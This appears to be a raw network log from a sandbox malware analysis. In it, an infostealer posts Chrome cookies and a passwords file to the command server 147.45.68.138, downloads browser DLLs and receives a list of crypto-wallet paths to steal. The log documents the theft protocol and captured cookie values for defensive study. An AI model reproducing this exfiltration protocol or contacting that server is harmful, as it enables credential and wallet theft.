cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Aug 28, 2024 22:55:51.635942936 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Aug 28, 2024 22:55:53.565790892 CEST	1009	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG Host: 147.45.68.138 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 51 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 [TRUNCATED] Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="file_name"Q29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="file_data"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc2RwVzRVRVlOM3ZZcV9yYlJyTkZ4TTFqb3pQR3Voak9SQlpLS016MnRkRHBWZTdkTnVUV3A0Q3lLLXp0NUlzNndWRWx2ZVdBZktRZ3dOSmlLS3RYSENDQ21ybGd6WlRsNUNpS2pUZUEyaVFxZjZ6bFJLMmg4d2cxaFZwSXNXc2FLcWFXSnlITVBGM0pBCg==------JDBGHIIDAECBFIDHIIDG--
Aug 28, 2024 22:55:54.297342062 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:55:54.331151009 CEST	617	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 147.45.68.138 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a [TRUNCATED] Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file_data"------HJKKFIJKFCAKJJJKJKFI--
Aug 28, 2024 22:55:55.024652004 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:55:55.102520943 CEST	617	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 147.45.68.138 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 [TRUNCATED] Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="file_data"------JKFIDGDHJEGIEBFHDGDG--
Aug 28, 2024 22:55:55.822014093 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:55:55.878509045 CEST	99	OUT	GET /freebl3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:56.064342976 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:55 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 28, 2024 22:55:56.521693945 CEST	99	OUT	GET /mozglue.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:56.708986044 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:56 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 28, 2024 22:55:57.103559971 CEST	100	OUT	GET /msvcp140.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:57.297080040 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:57 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 28, 2024 22:55:57.573287010 CEST	100	OUT	GET /softokn3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:57.760663033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:57 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 28, 2024 22:55:57.867367983 CEST	104	OUT	GET /vcruntime140.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:58.054820061 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:57 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 28, 2024 22:55:58.165342093 CEST	96	OUT	GET /nss3.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:55:58.351303101 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:55:58 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-1f3950" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 28, 2024 22:56:00.007186890 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 147.45.68.138 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
Aug 28, 2024 22:56:00.714803934 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 28, 2024 22:56:01.112232924 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 37 66 63 30 64 30 38 30 30 34 35 33 63 65 65 33 33 32 35 62 63 31 32 66 36 34 65 36 36 38 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 39 39 34 39 64 36 33 63 62 32 66 36 66 63 65 36 66 38 30 36 36 37 63 30 63 39 38 65 61 32 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"77fc0d0800453cee3325bc12f64e6689------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="build_id"d9949d63cb2f6fce6f80667c0c98ea24------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="mode"3------JKFIDGDHJEGIEBFHDGDG--
Aug 28, 2024 22:56:01.656416893 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 [TRUNCATED] Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzfDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxwYXNzcGhyYXNlLmpzb258MHxFeG9kdXN8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHNlZWQuc2Vjb3wwfEV4b2R1c3wxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RXhvZHVzfD